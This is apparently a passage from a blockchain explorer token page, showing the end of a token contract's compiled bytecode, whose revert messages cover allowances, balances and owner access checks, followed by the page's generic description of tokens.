0fa0565b840191505092915050565b600060208201905081810360008301526110048184610fb1565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061104b82611020565b9050919050565b61105b81611040565b811461106657600080fd5b50565b60008135905061107881611052565b92915050565b6000819050919050565b6110918161107e565b811461109c57600080fd5b50565b6000813590506110ae81611088565b92915050565b600080604083850312156110cb576110ca611016565b5b60006110d985828601611069565b92505060206110ea8582860161109f565b9150509250929050565b60008115159050919050565b611109816110f4565b82525050565b60006020820190506111246000830184611100565b92915050565b6111338161107e565b82525050565b600060208201905061114e600083018461112a565b92915050565b60008060006060848603121561116d5761116c611016565b5b600061117b86828701611069565b935050602061118c86828701611069565b925050604061119d8682870161109f565b9150509250925092565b6000602082840312156111bd576111bc611016565b5b60006111cb84828501611069565b91505092915050565b600060ff82169050919050565b6111ea816111d4565b82525050565b600060208201905061120560008301846111e1565b92915050565b61121481611040565b82525050565b600060208201905061122f600083018461120b565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61127282610fa0565b810181811067ffffffffffffffff821117156112915761129061123a565b5b80604052505050565b60006112a461100c565b90506112b08282611269565b919050565b600067ffffffffffffffff8211156112d0576112cf61123a565b5b602082029050602081019050919050565b600080fd5b60006112f96112f4846112b5565b61129a565b9050808382526020820190506020840283018581111561131c5761131b6112e1565b5b835b8181101561134557806113318882611069565b84526020840193505060208101905061131e565b5050509392505050565b600082601f83011261136457611363611235565b5b81356113748482602086016112e6565b91505092915050565b6000806040838503121561139457611393611016565b5b600083013567ffffffffffffffff8111156113b2576113b161101b565b5b6113be8582860161134f565b92505060206113cf8582860161109f565b9150509250929050565b600080604083850312156113f0576113ef611016565b5b60006113fe85828601611069565b925050602061140f85828601611069565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561149f5780860481111561147b5761147a611419565b5b600185161561148a5780820291505b808102905061149885611448565b945061145f565b94509492505050565b6000826114b85760019050611574565b816114c65760009050611574565b81600181146114dc57600281146114e657611515565b6001915050611574565b60ff8411156114f8576114f7611419565b5b8360020a91508482111561150f5761150e611419565b5b50611574565b5060208310610133831016604e8410600b841016171561154a5782820a90508381111561154557611544611419565b5b611574565b6115578484846001611455565b9250905081840481111561156e5761156d611419565b5b81810290505b9392505050565b60006115868261107e565b9150611591836111d4565b92506115be7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846114a8565b905092915050565b60006115d18261107e565b91506115dc8361107e565b92508282026115ea8161107e565b9150828204841483151761160157611600611419565b5b5092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611664602583610f65565b915061166f82611608565b604082019050919050565b6000602082019050818103600083015261169381611657565b9050919050565b60006116a58261107e565b91506116b08361107e565b92508282039050818111156116c8576116c7611419565b5b92915050565b60006116d98261107e565b91506116e48361107e565b92508282019050808211156116fc576116fb611419565b5b92915050565b7f41636365737320436f6e74726f6c3a206578656375746f72206973206e6f742060008201527f746865206d61696e206f70657261746f72000000000000000000000000000000602082015250565b600061175e603183610f65565b915061176982611702565b604082019050919050565b6000602082019050818103600083015261178d81611751565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006117f0602383610f65565b91506117fb82611794565b604082019050919050565b6000602082019050818103600083015261181f816117e3565b9050919050565b7f41636365737320436f6e74726f6c3a206578656375746f72206973206e6f742060008201527f746865207072696d6172792063726561746f7200000000000000000000000000602082015250565b6000611882603383610f65565b915061188d82611826565b604082019050919050565b600060208201905081810360008301526118b181611875565b9050919050565b7f4572726f723a206465736972656420616c6c6f636174696f6e2073686f756c6460008201527f206265206e6f6e2d6e6567617469766500000000000000000000000000000000602082015250565b6000611914603083610f65565b915061191f826118b8565b604082019050919050565b6000602082019050818103600083015261194381611907565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4572726f723a2062656e656669636961727920616464726573732063616e6e6f60008201527f7420626520746865207a65726f20616464726573730000000000000000000000602082015250565b60006119d5603583610f65565b91506119e082611979565b604082019050919050565b60006020820190508181036000830152611a04816119c8565b9050919050565b6000604082019050611a20600083018561112a565b611a2d602083018461112a565b9392505050565b6000611a3f8261107e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a7157611a70611419565b5b60018201905091905056fea26469706673582212205f1b22681d36ac27d4f653f3f758e7737219f5734a1c90a6ecf4bc1b132268c264736f6c63430008120033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.